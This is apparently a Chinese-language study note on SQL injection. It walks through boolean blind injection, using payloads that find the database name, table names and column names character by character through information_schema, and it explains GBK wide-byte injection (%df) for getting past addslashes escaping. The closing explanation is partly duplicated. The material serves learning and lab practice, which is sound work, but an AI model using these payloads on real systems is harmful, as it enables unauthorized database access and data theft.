布尔盲注
基本流程
1.判断注入点
'
' or 1=1#
' or 1=2#
2.判断数据库长度并逐个爆破(count/length/mid)
- 使用length()函数判断数据库长度(二分法)
-- 前面放回false 执行or 后面的语句如果返回true则数据库长度大于该值,反之小于
' or length(database()) > 8#
' or length(database()) > 4#
' or length(database()) > 6#
故数据库长度为5
' or length(database()) = 5#
-
逐个字符爆破数据库名
使用
mid
或substring
截取字符并逐个判断--' or ascii(mid(database(),1,1))>110 # ' or ascii(substring(database(),1,1))>100 # (false) ' or ascii(substring(database(),1,1))>95 # (true) ' or ascii(substring(database(),1,1))>97 # (true) ' or ascii(substring(database(),1,1))>99 # (flase) ' or ascii(substring(database(),1,1))= 98 # (true)
98对应为字符 b
以此类推得到表名
爆破表的个数/长度/表名(count/length/mid)
- 爆破表的个数
’ or (select count(table_name) from information_schema.tables where table_schema=database())>5 #
- 爆破表的长度
' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 5 #
- 爆破字符
' or ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 #
爆破列个数/长度/列名(count/length/mid)
- 爆破列的个数
' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') > 5 #
- 爆破列的长度
' or length((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1)) > 5 #
- 爆破列名
' or ascii(mid((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),1,1)) > 105 #
base
low
直接注入,可使用sqlmap进行注入
mid/high
采用了addslashed()和mysqli_real_escape_string()函数,
且mysql编码和os编码一致, 无法用宽字节绕过,
宽字节注入
注入原理
注入原理很简单, 就是编码, 一点一点分析:
假设一个url有注入, 但是有安全函数, 我们敲单引号会被过滤,那么怎么办呢?这时候就利用GBK双字节注入
我们在后边这么构造url一个尝试:
http://www.****.com/index.php?id=1%df' and 1=1
其中,
%df ’ 经过安全函数之后在 ’ 之前会被加上一个转义符号’’, 即: %df '
由于采用的是url编码, 最后转化为:
%df%5c%27
关键就在这,%df会吃掉%5c,形成一个新的字节, 形象一点就是%df遇到%5c会把%5c吃掉,形成%df%5c,这个编码经过代码
解码后会形成一个汉字“誠”
还不明白? 没关系, 举一个简单的栗子:
xi’an (西安) ==> xian(先)
值得一提的是, 并不是唯一的使用%df, 只要编码超过ascii码(128)之后, 可以自己组合。只要是汉字就都可以使用
总的来解释一下,
因为%df的关系,\的编码%5c被吃掉了,也就失去了转义的效果,即安全函数丧失了作用, 被直接带入到mysql中,然后mysql在解读时无视了%df%5c形成的新字节,那么单引号便重新发挥了效果, 就可以构造注入了。
以自己组合。只要是汉字就都可以使用**
总的来解释一下,
因为%df的关系,\的编码%5c被吃掉了,也就失去了转义的效果,即安全函数丧失了作用, 被直接带入到mysql中,然后mysql在解读时无视了%df%5c形成的新字节,那么单引号便重新发挥了效果, 就可以构造注入了。